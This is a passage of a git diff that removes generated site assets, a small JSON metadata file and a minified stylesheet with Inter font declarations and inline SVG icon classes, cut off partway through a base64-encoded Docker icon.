a/resources/_gen/assets/scss/scss/home.scss_7724f67189cff0c6ae476b070cf609b9.json b/resources/_gen/assets/scss/scss/home.scss_7724f67189cff0c6ae476b070cf609b9.json deleted file mode 100644 index 708cd10..0000000 --- a/resources/_gen/assets/scss/scss/home.scss_7724f67189cff0c6ae476b070cf609b9.json +++ /dev/null @@ -1 +0,0 @@ -{"Target":"scss/home.css","MediaType":"text/css","Data":{}} \ No newline at end of file diff --git a/resources/_gen/assets/scss/scss/theme/default.scss_7724f67189cff0c6ae476b070cf609b9.content b/resources/_gen/assets/scss/scss/theme/default.scss_7724f67189cff0c6ae476b070cf609b9.content deleted file mode 100644 index 86fce6e..0000000 --- a/resources/_gen/assets/scss/scss/theme/default.scss_7724f67189cff0c6ae476b070cf609b9.content +++ /dev/null @@ -1,3 +0,0 @@ -@font-face{font-family:'Inter';font-style:normal;font-weight:400;font-display:swap;src:url("/font/Inter-Regular.woff2?v=3.19") format("woff2"),url("/font/Inter-Regular.woff?v=3.19") format("woff")}@font-face{font-family:'Inter';font-style:italic;font-weight:400;font-display:swap;src:url("/font/Inter-Italic.woff2?v=3.19") format("woff2"),url("/font/Inter-Italic.woff?v=3.19") format("woff")}@font-face{font-family:'Inter';font-style:normal;font-weight:600;font-display:swap;src:url("/font/Inter-SemiBold.woff2?v=3.19") format("woff2"),url("/font/Inter-SemiBold.woff?v=3.19") format("woff")}@font-face{font-family:'Inter';font-style:italic;font-weight:600;font-display:swap;src:url("/font/Inter-SemiBoldItalic.woff2?v=3.19") format("woff2"),url("/font/Inter-SemiBoldItalic.woff?v=3.19") format("woff")}.icon{display:block;width:18px;height:18px}.icon-facebook{background-image:url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='18' height='18' viewBox='0 0 30 30' fill='%231877f2' %3E%3Cpath d='M30 15.091C30 6.756 23.285 0 15 0S0 6.756 0 15.091C0 22.625 5.484 28.868 12.656 30V19.454H8.848V15.09h3.808v-3.324c0-3.782 2.239-5.872 5.666-5.872 1.64 0 3.358.295 3.358.295v3.714h-1.893c-1.863 0-2.443 1.164-2.443 2.358v2.83h4.16l-.665 4.362h-3.495V30C24.516 28.868 30 22.625 30 15.091z'%3E%3C/path%3E%3C/svg%3E")}.icon-twitter{background-image:url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='18' height='18' viewBox='0 0 24 24' fill='%231d9bf0' %3E%3Cpath d='M24 4.557c-.883.392-1.832.656-2.828.775 1.017-.609 1.798-1.574 2.165-2.724-.951.564-2.005.974-3.127 1.195-.897-.957-2.178-1.555-3.594-1.555-3.179 0-5.515 2.966-4.797 6.045-4.091-.205-7.719-2.165-10.148-5.144-1.29 2.213-.669 5.108 1.523 6.574-.806-.026-1.566-.247-2.229-.616-.054 2.281 1.581 4.415 3.949 4.89-.693.188-1.452.232-2.224.084.626 1.956 2.444 3.379 4.6 3.419-2.07 1.623-4.678 2.348-7.29 2.04 2.179 1.397 4.768 2.212 7.548 2.212 9.142 0 14.307-7.721 13.995-14.646.962-.695 1.797-1.562 2.457-2.549z'/%3E%3C/svg%3E");transform:scale(1.1)}.icon-youtube{background-image:url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='18' height='18' viewBox='0 0 24 24' fill='%23ff0000' %3E%3Cpath d='M23.498 6.186a3.016 3.016 0 0 0-2.122-2.136C19.505 3.545 12 3.545 12 3.545s-7.505 0-9.377.505A3.017 3.017 0 0 0 .502 6.186C0 8.07 0 12 0 12s0 3.93.502 5.814a3.016 3.016 0 0 0 2.122 2.136c1.871.505 9.376.505 9.376.505s7.505 0 9.377-.505a3.015 3.015 0 0 0 2.122-2.136C24 15.93 24 12 24 12s0-3.93-.502-5.814zM9.545 15.568V8.432L15.818 12l-6.273 3.568z'%3E%3C/path%3E%3C/svg%3E");transform:scale(1.1)}.icon-github{background-image:url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='18' height='18' viewBox='0 0 16 16' fill='%2324292f' %3E%3Cpath d='M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0016 8c0-4.42-3.58-8-8-8z'%3E%3C/path%3E%3C/svg%3E")}:root[data-color="dark"] .icon-github,:root[data-color="night"] .icon-github{background-image:url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='18' height='18' viewBox='0 0 16 16' fill='%236e7681' %3E%3Cpath d='M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0016 8c0-4.42-3.58-8-8-8z'%3E%3C/path%3E%3C/svg%3E")}.icon-menu{background-image:url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='18px' height='18px' viewBox='0 0 24 24'%3E%3Cpath d='M0,0h24v24H0V0z' fill='none'/%3E%3Cpath d='M4,18h11c0.55,0,1-0.45,1-1v0c0-0.55-0.45-1-1-1H4c-0.55,0-1,0.45-1,1v0C3,17.55,3.45,18,4,18z M4,13h8c0.55,0,1-0.45,1-1v0 c0-0.55-0.45-1-1-1H4c-0.55,0-1,0.45-1,1v0C3,12.55,3.45,13,4,13z M3,7L3,7c0,0.55,0.45,1,1,1h11c0.55,0,1-0.45,1-1v0 c0-0.55-0.45-1-1-1H4C3.45,6,3,6.45,3,7z M20.3,14.88L17.42,12l2.88-2.88c0.39-0.39,0.39-1.02,0-1.41l0,0 c-0.39-0.39-1.02-0.39-1.41,0l-3.59,3.59c-0.39,0.39-0.39,1.02,0,1.41l3.59,3.59c0.39,0.39,1.02,0.39,1.41,0l0,0 C20.68,15.91,20.69,15.27,20.3,14.88z'/%3E%3Cpath d='M0,0h24v24H0V0z' fill='none'/%3E%3C/svg%3E")}.icon-toc{background-image:url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='18px' height='18px' viewBox='0 0 24 24' fill='%23000000'%3E%3Cpath d='M0 0h24v24H0V0zm0 0h24v24H0V0z' fill='none'/%3E%3Cpath d='M3 9h14V7H3v2zm0 4h14v-2H3v2zm0 4h14v-2H3v2zm16 0h2v-2h-2v2zm0-10v2h2V7h-2zm0 6h2v-2h-2v2z'/%3E%3C/svg%3E")}.icon-close{background-image:url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='18px' height='18px' viewBox='0 0 24 24'%3E%3Cpath d='M0 0h24v24H0V0z' fill='none'/%3E%3Cpath d='M19 6.41L17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12 19 6.41z'/%3E%3C/svg%3E")}.icon-home{background-image:url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='18px' height='18px' viewBox='0 0 24 24'%3E%3Crect fill='none' height='24' width='24'/%3E%3Cpolygon opacity='.3' points='18,19 13,19 13,15 11,15 11,19 6,19 6,10.1 12,5.52 18,10.1'/%3E%3Cpath d='M12,3L6,7.58V6H4v3.11L1,11.4l1.21,1.59L4,11.62V21h16v-9.38l1.79,1.36L23,11.4L12,3z M18,19h-5v-4h-2v4H6v-8.9l6-4.58 l6,4.58V19z M10,1c0,1.66-1.34,3-3,3C6.45,4,6,4.45,6,5H4c0-1.66,1.34-3,3-3c0.55,0,1-0.45,1-1H10z'/%3E%3C/svg%3E")}.icon-book{background-image:url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='18px' height='18px' viewBox='0 0 24 24'%3E%3Cg%3E%3Crect fill='none' height='24' width='24'/%3E%3C/g%3E%3Cg%3E%3Cg/%3E%3Cg%3E%3Cpath d='M21,5c-1.11-0.35-2.33-0.5-3.5-0.5c-1.95,0-4.05,0.4-5.5,1.5c-1.45-1.1-3.55-1.5-5.5-1.5S2.45,4.9,1,6v14.65 c0,0.25,0.25,0.5,0.5,0.5c0.1,0,0.15-0.05,0.25-0.05C3.1,20.45,5.05,20,6.5,20c1.95,0,4.05,0.4,5.5,1.5c1.35-0.85,3.8-1.5,5.5-1.5 c1.65,0,3.35,0.3,4.75,1.05c0.1,0.05,0.15,0.05,0.25,0.05c0.25,0,0.5-0.25,0.5-0.5V6C22.4,5.55,21.75,5.25,21,5z M3,18.5V7 c1.1-0.35,2.3-0.5,3.5-0.5c1.34,0,3.13,0.41,4.5,0.99v11.5C9.63,18.41,7.84,18,6.5,18C5.3,18,4.1,18.15,3,18.5z M21,18.5 c-1.1-0.35-2.3-0.5-3.5-0.5c-1.34,0-3.13,0.41-4.5,0.99V7.49c1.37-0.59,3.16-0.99,4.5-0.99c1.2,0,2.4,0.15,3.5,0.5V18.5z'/%3E%3Cpath d='M11,7.49C9.63,6.91,7.84,6.5,6.5,6.5C5.3,6.5,4.1,6.65,3,7v11.5C4.1,18.15,5.3,18,6.5,18 c1.34,0,3.13,0.41,4.5,0.99V7.49z' opacity='.3'/%3E%3C/g%3E%3Cg%3E%3Cpath d='M17.5,10.5c0.88,0,1.73,0.09,2.5,0.26V9.24C19.21,9.09,18.36,9,17.5,9c-1.28,0-2.46,0.16-3.5,0.47v1.57 C14.99,10.69,16.18,10.5,17.5,10.5z'/%3E%3Cpath d='M17.5,13.16c0.88,0,1.73,0.09,2.5,0.26V11.9c-0.79-0.15-1.64-0.24-2.5-0.24c-1.28,0-2.46,0.16-3.5,0.47v1.57 C14.99,13.36,16.18,13.16,17.5,13.16z'/%3E%3Cpath d='M17.5,15.83c0.88,0,1.73,0.09,2.5,0.26v-1.52c-0.79-0.15-1.64-0.24-2.5-0.24c-1.28,0-2.46,0.16-3.5,0.47v1.57 C14.99,16.02,16.18,15.83,17.5,15.83z'/%3E%3C/g%3E%3C/g%3E%3C/svg%3E")}.icon-theme{background-image:url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='18px' height='18px' viewBox='0 0 24 24' %3E%3Cpath d='M0 0h24v24H0z' fill='none'/%3E%3Cpath d='M12 3c-4.97 0-9 4.03-9 9s4.03 9 9 9c.83 0 1.5-.67 1.5-1.5 0-.39-.15-.74-.39-1.01-.23-.26-.38-.61-.38-.99 0-.83.67-1.5 1.5-1.5H16c2.76 0 5-2.24 5-5 0-4.42-4.03-8-9-8zm-5.5 9c-.83 0-1.5-.67-1.5-1.5S5.67 9 6.5 9 8 9.67 8 10.5 7.33 12 6.5 12zm3-4C8.67 8 8 7.33 8 6.5S8.67 5 9.5 5s1.5.67 1.5 1.5S10.33 8 9.5 8zm5 0c-.83 0-1.5-.67-1.5-1.5S13.67 5 14.5 5s1.5.67 1.5 1.5S15.33 8 14.5 8zm3 4c-.83 0-1.5-.67-1.5-1.5S16.67 9 17.5 9s1.5.67 1.5 1.5-.67 1.5-1.5 1.5z'/%3E%3C/svg%3E")}.icon-brightness{background-image:url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='18px' height='18px' viewBox='0 0 24 24' %3E%3Cpath d='M0 0h24v24H0V0z' fill='none'/%3E%3Cpath d='M18 9.52V6h-3.52L12 3.52 9.52 6H6v3.52L3.52 12 6 14.48V18h3.52L12 20.48 14.48 18H18v-3.52L20.48 12 18 9.52zm-6 7.98v-11c3.03 0 5.5 2.47 5.5 5.5s-2.47 5.5-5.5 5.5z' opacity='.3'/%3E%3Cpath d='M20 8.69V4h-4.69L12 .69 8.69 4H4v4.69L.69 12 4 15.31V20h4.69L12 23.31 15.31 20H20v-4.69L23.31 12 20 8.69zm-2 5.79V18h-3.52L12 20.48 9.52 18H6v-3.52L3.52 12 6 9.52V6h3.52L12 3.52 14.48 6H18v3.52L20.48 12 18 14.48zM12 6.5v11c3.03 0 5.5-2.47 5.5-5.5S15.03 6.5 12 6.5z'/%3E%3C/svg%3E")}.icon-light-mode{background-image:url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='18px' height='18px' viewBox='0 0 24 24' %3E%3Crect fill='none' height='24' width='24'/%3E%3Ccircle cx='12' cy='12' opacity='.3' r='3'/%3E%3Cpath d='M12,9c1.65,0,3,1.35,3,3s-1.35,3-3,3s-3-1.35-3-3S10.35,9,12,9 M12,7c-2.76,0-5,2.24-5,5s2.24,5,5,5s5-2.24,5-5 S14.76,7,12,7L12,7z M2,13l2,0c0.55,0,1-0.45,1-1s-0.45-1-1-1l-2,0c-0.55,0-1,0.45-1,1S1.45,13,2,13z M20,13l2,0c0.55,0,1-0.45,1-1 s-0.45-1-1-1l-2,0c-0.55,0-1,0.45-1,1S19.45,13,20,13z M11,2v2c0,0.55,0.45,1,1,1s1-0.45,1-1V2c0-0.55-0.45-1-1-1S11,1.45,11,2z M11,20v2c0,0.55,0.45,1,1,1s1-0.45,1-1v-2c0-0.55-0.45-1-1-1C11.45,19,11,19.45,11,20z M5.99,4.58c-0.39-0.39-1.03-0.39-1.41,0 c-0.39,0.39-0.39,1.03,0,1.41l1.06,1.06c0.39,0.39,1.03,0.39,1.41,0s0.39-1.03,0-1.41L5.99,4.58z M18.36,16.95 c-0.39-0.39-1.03-0.39-1.41,0c-0.39,0.39-0.39,1.03,0,1.41l1.06,1.06c0.39,0.39,1.03,0.39,1.41,0c0.39-0.39,0.39-1.03,0-1.41 L18.36,16.95z M19.42,5.99c0.39-0.39,0.39-1.03,0-1.41c-0.39-0.39-1.03-0.39-1.41,0l-1.06,1.06c-0.39,0.39-0.39,1.03,0,1.41 s1.03,0.39,1.41,0L19.42,5.99z M7.05,18.36c0.39-0.39,0.39-1.03,0-1.41c-0.39-0.39-1.03-0.39-1.41,0l-1.06,1.06 c-0.39,0.39-0.39,1.03,0,1.41s1.03,0.39,1.41,0L7.05,18.36z'/%3E%3C/svg%3E")}.icon-dark-mode{background-image:url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='18px' height='18px' viewBox='0 0 24 24' %3E%3Crect fill='none' height='24' width='24'/%3E%3Cpath d='M9.37,5.51C9.19,6.15,9.1,6.82,9.1,7.5c0,4.08,3.32,7.4,7.4,7.4c0.68,0,1.35-0.09,1.99-0.27 C17.45,17.19,14.93,19,12,19c-3.86,0-7-3.14-7-7C5,9.07,6.81,6.55,9.37,5.51z' opacity='.3'/%3E%3Cpath d='M9.37,5.51C9.19,6.15,9.1,6.82,9.1,7.5c0,4.08,3.32,7.4,7.4,7.4c0.68,0,1.35-0.09,1.99-0.27C17.45,17.19,14.93,19,12,19 c-3.86,0-7-3.14-7-7C5,9.07,6.81,6.55,9.37,5.51z M12,3c-4.97,0-9,4.03-9,9s4.03,9,9,9s9-4.03,9-9c0-0.46-0.04-0.92-0.1-1.36 c-0.98,1.37-2.58,2.26-4.4,2.26c-2.98,0-5.4-2.42-5.4-5.4c0-1.81,0.89-3.42,2.26-4.4C12.92,3.04,12.46,3,12,3L12,3z'/%3E%3C/svg%3E")}.icon-night-mode{background-image:url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='18px' height='18px' viewBox='0 0 24 24' %3E%3Cg%3E%3Crect fill='none' height='24' width='24'/%3E%3C/g%3E%3Cg%3E%3Cg%3E%3Cpath d='M8.1,14.15C9.77,14.63,11,16.17,11,18c0,0.68-0.19,1.31-0.48,1.87c0.48,0.09,0.97,0.14,1.48,0.14 c1.48,0,2.9-0.41,4.13-1.15c-2.62-0.92-5.23-2.82-6.8-5.86C7.74,9.94,7.78,7.09,8.29,4.9c-2.57,1.33-4.3,4.01-4.3,7.1c0,0,0,0,0,0 c0.01,0,0.01,0,0.02,0C5.66,12,7.18,12.83,8.1,14.15z' opacity='.3'/%3E%3Cpath d='M19.78,17.51c-2.47,0-6.57-1.33-8.68-5.43C8.77,7.57,10.6,3.6,11.63,2.01C6.27,2.2,1.98,6.59,1.98,12 c0,0.14,0.02,0.28,0.02,0.42C2.61,12.16,3.28,12,3.98,12c0,0,0,0,0,0c0-3.09,1.73-5.77,4.3-7.1C7.78,7.09,7.74,9.94,9.32,13 c1.57,3.04,4.18,4.95,6.8,5.86c-1.23,0.74-2.65,1.15-4.13,1.15c-0.5,0-1-0.05-1.48-0.14c-0.37,0.7-0.94,1.27-1.64,1.64 c0.98,0.32,2.03,0.5,3.11,0.5c3.5,0,6.58-1.8,8.37-4.52C20.18,17.5,19.98,17.51,19.78,17.51z'/%3E%3Cpath d='M7,16l-0.18,0C6.4,14.84,5.3,14,4,14c-1.66,0-3,1.34-3,3s1.34,3,3,3c0.62,0,2.49,0,3,0c1.1,0,2-0.9,2-2 C9,16.9,8.1,16,7,16z'/%3E%3C/g%3E%3C/g%3E%3C/svg%3E")}.icon-translate{background-image:url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='18px' height='18px' viewBox='0 0 24 24' %3E%3Cpath d='M0 0h24v24H0V0z' fill='none'/%3E%3Cpath d='M12.65 15.67c.14-.36.05-.77-.23-1.05l-2.09-2.06.03-.03c1.74-1.94 2.98-4.17 3.71-6.53h1.94c.54 0 .99-.45.99-.99v-.02c0-.54-.45-.99-.99-.99H10V3c0-.55-.45-1-1-1s-1 .45-1 1v1H1.99c-.54 0-.99.45-.99.99 0 .55.45.99.99.99h10.18C11.5 7.92 10.44 9.75 9 11.35c-.81-.89-1.49-1.86-2.06-2.88-.16-.29-.45-.47-.78-.47-.69 0-1.13.75-.79 1.35.63 1.13 1.4 2.21 2.3 3.21L3.3 16.87c-.4.39-.4 1.03 0 1.42.39.39 1.02.39 1.42 0L9 14l2.02 2.02c.51.51 1.38.32 1.63-.35zM17.5 10c-.6 0-1.14.37-1.35.94l-3.67 9.8c-.24.61.22 1.26.87 1.26.39 0 .74-.24.88-.61l.89-2.39h4.75l.9 2.39c.14.36.49.61.88.61.65 0 1.11-.65.88-1.26l-3.67-9.8c-.22-.57-.76-.94-1.36-.94zm-1.62 7l1.62-4.33L19.12 17h-3.24z'/%3E%3C/svg%3E")}.icon-search{background-image:url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='18px' height='18px' viewBox='0 0 24 24' %3E%3Cpath d='M0 0h24v24H0V0z' fill='none'/%3E%3Cpath d='M15.5 14h-.79l-.28-.27c1.2-1.4 1.82-3.31 1.48-5.34-.47-2.78-2.79-5-5.59-5.34-4.23-.52-7.79 3.04-7.27 7.27.34 2.8 2.56 5.12 5.34 5.59 2.03.34 3.94-.28 5.34-1.48l.27.28v.79l4.25 4.25c.41.41 1.08.41 1.49 0 .41-.41.41-1.08 0-1.49L15.5 14zm-6 0C7.01 14 5 11.99 5 9.5S7.01 5 9.5 5 14 7.01 14 9.5 11.99 14 9.5 14z'/%3E%3C/svg%3E")}.icon-select{background-image:url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='18px' height='18px' viewBox='0 0 24 24'%3E%3Cpath d='M0 0h24v24H0V0z' fill='none'/%3E%3Cpath d='M12 5.83L15.17 9l1.41-1.41L12 3 7.41 7.59 8.83 9 12 5.83zm0 12.34L8.83 15l-1.41 1.41L12 21l4.59-4.59L15.17 15 12 18.17z'/%3E%3C/svg%3E")}.icon-calendar{background-image:url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='18px' height='18px' viewBox='0 0 24 24'%3E%3Cg%3E%3Crect fill='none' height='24' width='24'/%3E%3C/g%3E%3Cg%3E%3Crect height='2' opacity='.3' width='14' x='5' y='6'/%3E%3Cpath d='M19,4h-1V2h-2v2H8V2H6v2H5C3.89,4,3.01,4.9,3.01,6L3,20c0,1.1,0.89,2,2,2h14c1.1,0,2-0.9,2-2V6C21,4.9,20.1,4,19,4z M19,20 H5V10h14V20z M19,8H5V6h14V8z M9,14H7v-2h2V14z M13,14h-2v-2h2V14z M17,14h-2v-2h2V14z M9,18H7v-2h2V18z M13,18h-2v-2h2V18z M17,18 h-2v-2h2V18z'/%3E%3C/g%3E%3C/svg%3E")}.icon-next{background-image:url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='18px' height='18px' viewBox='0 0 24 24' %3E%3Cpath d='M24 24H0V0h24v24z' fill='none' opacity='.87'/%3E%3Cpath d='M7.38 21.01c.49.49 1.28.49 1.77 0l8.31-8.31c.39-.39.39-1.02 0-1.41L9.15 2.98c-.49-.49-1.28-.49-1.77 0s-.49 1.28 0 1.77L14.62 12l-7.25 7.25c-.48.48-.48 1.28.01 1.76z' fill='%23328ac1'/%3E%3C/svg%3E")}.icon-prev{background-image:url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='18px' height='18px' viewBox='0 0 24 24' %3E%3Crect fill='none' height='24' width='24'/%3E%3Cg%3E%3Cpath d='M16.88,2.88L16.88,2.88c-0.49-0.49-1.28-0.49-1.77,0l-8.41,8.41c-0.39,0.39-0.39,1.02,0,1.41l8.41,8.41 c0.49,0.49,1.28,0.49,1.77,0l0,0c0.49-0.49,0.49-1.28,0-1.77L9.54,12l7.35-7.35C17.37,4.16,17.37,3.37,16.88,2.88z' fill='%23328ac1'/%3E%3C/g%3E%3C/svg%3E")}.icon-copyright{background-image:url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='18px' height='18px' viewBox='0 0 24 24' %3E%3Cpath d='M0 0h24v24H0V0z' fill='none'/%3E%3Cpath d='M10.08 10.86c.05-.33.16-.62.3-.87s.34-.46.59-.62c.24-.15.54-.22.91-.23.23.01.44.05.63.13.2.09.38.21.52.36s.25.33.34.53.13.42.14.64h1.79c-.02-.47-.11-.9-.28-1.29s-.4-.73-.7-1.01-.66-.5-1.08-.66-.88-.23-1.39-.23c-.65 0-1.22.11-1.7.34s-.88.53-1.2.92-.56.84-.71 1.36S8 11.29 8 11.87v.27c0 .58.08 1.12.23 1.64s.39.97.71 1.35.72.69 1.2.91c.48.22 1.05.34 1.7.34.47 0 .91-.08 1.32-.23s.77-.36 1.08-.63.56-.58.74-.94.29-.74.3-1.15h-1.79c-.01.21-.06.4-.15.58s-.21.33-.36.46-.32.23-.52.3c-.19.07-.39.09-.6.1-.36-.01-.66-.08-.89-.23-.25-.16-.45-.37-.59-.62s-.25-.55-.3-.88-.08-.67-.08-1v-.27c0-.35.03-.68.08-1.01zM12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2zm0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8z'/%3E%3C/svg%3E")}.icon-love{background-image:url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='18px' height='18px' viewBox='0 0 24 24' fill='%23ff4d4d' %3E%3Cpath d='M0 0h24v24H0V0z' fill='none'/%3E%3Cpath d='M13.35 20.13c-.76.69-1.93.69-2.69-.01l-.11-.1C5.3 15.27 1.87 12.16 2 8.28c.06-1.7.93-3.33 2.34-4.29 2.64-1.8 5.9-.96 7.66 1.1 1.76-2.06 5.02-2.91 7.66-1.1 1.41.96 2.28 2.59 2.34 4.29.14 3.88-3.3 6.99-8.55 11.76l-.1.09z'/%3E%3C/svg%3E")}.icons8-docker{display:inline-block;width:24px;height:24px;background:url("data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHg9IjBweCIgeT0iMHB4IiB3aWR0aD0iNjQiIGhlaWdodD0iNjQiIHZpZXdCb3g9IjAgMCA2NCA2NCI+CjxsaW5lYXJHcmFkaWVudCBpZD0icWt5blUyWThyT0h+YVpjOEkybHZkYV9HT0hXcXduU0U4U3ZfZ3IxIiB4MT0iMzIuMjUzIiB4Mj0iMzIuMjUzIiB5MT0iMTkiIHkyPSI1NSIgZ3JhZGllbnRVbml0cz0idXNlclNwYWNlT25Vc2UiPjxzdG9wIG9mZnNldD0iMCIgc3RvcC1jb2xvcj0iIzFhNmRmZiI+PC9zdG9wPjxzdG9wIG9mZnNldD0iMSIgc3RvcC1jb2xvcj0iI2M4MjJmZiI+PC9zdG9wPjwvbGluZWFyR3JhZGllbnQ+PHBhdGggZmlsbD0idXJsKCNxa3luVTJZOHJPSH5hWmM4STJsdmRhX0dPSFdxd25TRThTdl9ncjEpIiBkPSJNMjMuNjQ5LDU1Yy01LjU2OSwwLjAxNi0xMC41MDMtMS4wNTMtMTMuNTY5LTIuOTI2Yy0yLjc3Mi0xLjY4OS00Ljg5Ny00LjQyNi02LjMxMy04LjEzNCBjLTEuMjM0LTMuMzYyLTEuODA5LTYuNjQ4LTEuNzY0LTEwLjA1OGMtMC4wMDEtMC43NTksMC4yOTktMS40ODYsMC44NDYtMi4wMzNDMy4zOTYsMzEuMzAyLDQuMTIzLDMxLDQuODk2LDMxSDQzLjQ5IGMwLjIxMS0wLjAwOSwxLjQ5MS0wLjIxNSwyLjY2OS0wLjY2MWMtMC44OTctMS45MDItMS4wOTUtNC4wNDktMC41NjctNi4yNzRjMC4zMjYtMS4zNTgsMC44NzUtMi42MzksMS42MzItMy44MWwwLjU3My0wLjgyNiBjMC4yOTctMC40MjYsMC44NzItMC41NTUsMS4zMi0wLjI5NWwwLjg0MywwLjQ4NWMwLjM4NywwLjIyOCwzLjUxMywyLjE2OSw0LjUsNi4wMjFjMC41NTYtMC4wNjEsMS4xMTYtMC4wOTIsMS42NzQtMC4wOTUgYzMuMzg1LDAsNS4xMDEsMS4yMTksNS40MTEsMS40NjNjMCwwLDAsMCwwLDAuMDAxbDAuNTgsMC40NThjMC4zMzMsMC4yNjMsMC40NjMsMC43MDcsMC4zMjYsMS4xMDdsLTAuMjQsMC43MDIgYy0wLjQ1MSwxLjE0Mi0xLjEzMywyLjE1LTEuOTksMi45NjFjLTEuMTksMS4xNzYtMi42NDgsMi42MTQtNy4xMDMsMi43MzJjLTAuODk3LDIuMjcxLTIuOTE5LDYuNzI0LTYuMTk2LDEwLjQyNyBjLTEuOTA5LDIuMTU2LTQuMTQzLDMuOTgxLTYuNjQsNS40MjVjLTMuMDIyLDEuNzA4LTYuMjc5LDIuODg5LTkuNjg3LDMuNTEzQzI4LjEyMSw1NC43OTQsMjUuOTcyLDU1LDIzLjY0OSw1NXogTTQ4LjkxNiwyMS4zMjUgbC0wLjAzLDAuMDQ0Yy0wLjYxNiwwLjk1Mi0xLjA3NSwyLjAyNC0xLjM0NywzLjE1OWMtMC41MDEsMi4xMTQtMC4yMTIsNC4wNDUsMC44NTksNS43MzZjMC4xNDcsMC4yMzIsMC4xOTIsMC41MTYsMC4xMjUsMC43ODIgcy0wLjI0MywwLjQ5My0wLjQ4MywwLjYyN2MtMS42OTcsMC45NDMtNC4wMDksMS4zMDctNC41MTEsMS4zMjVMNC44OTYsMzNjLTAuMjM5LDAtMC40NjQsMC4wOTMtMC42MzMsMC4yNjMgYy0wLjE2OSwwLjE2OS0wLjI2MiwwLjM5NC0wLjI2MSwwLjYzM0MzLjk2LDM3LjExNCw0LjQ4LDQwLjA3OSw1LjY0LDQzLjIzOWMxLjI1LDMuMjcxLDMuMDk2LDUuNjc0LDUuNDgyLDcuMTI4IGMyLjc1OSwxLjY4Niw3LjM1OSwyLjYzOSwxMi41MjMsMi42MzNjMi4xOTksMCw0LjIzNi0wLjE5Niw2LjU4OC0wLjYzM2MzLjE5LTAuNTg0LDYuMjM3LTEuNjg4LDkuMDU3LTMuMjgyIGMyLjMwMy0xLjMzMSw0LjM3LTMuMDIsNi4xMzUtNS4wMTVjMy40OTctMy45NDksNS41MjctOC45OSw2LjA2Ni0xMC40NDFjMC4xNDYtMC4zOTMsMC40NzctMC42NiwwLjk0MS0wLjY1MSBjMC4wMzEsMCwwLjA2MiwwLDAuMDkzLDBjNC4xLDAsNS4xNi0xLjA0Niw2LjI4Mi0yLjE1NGMwLjY4Mi0wLjY0NiwxLjE5NS0xLjQwMywxLjUyMy0yLjIyN2wtMC4wMjUtMC4wMiBjLTAuMDYyLTAuMDQ4LTEuMzUxLTEuMDMyLTQuMTY3LTEuMDMyYy0wLjc2OCwwLjAwNC0xLjU0NSwwLjA3LTIuMzA3LDAuMTk5Yy0wLjI2NywwLjA0Mi0wLjUzOC0wLjAyLTAuNzU0LTAuMTc4IGMtMC4yMTgtMC4xNTgtMC4zNjItMC4zOTctMC40MDEtMC42NjRjLTAuNTMzLTMuNjQtMy41OTItNS40NzktMy43MjMtNS41NTVMNDguOTE2LDIxLjMyNXoiPjwvcGF0aD48bGluZWFyR3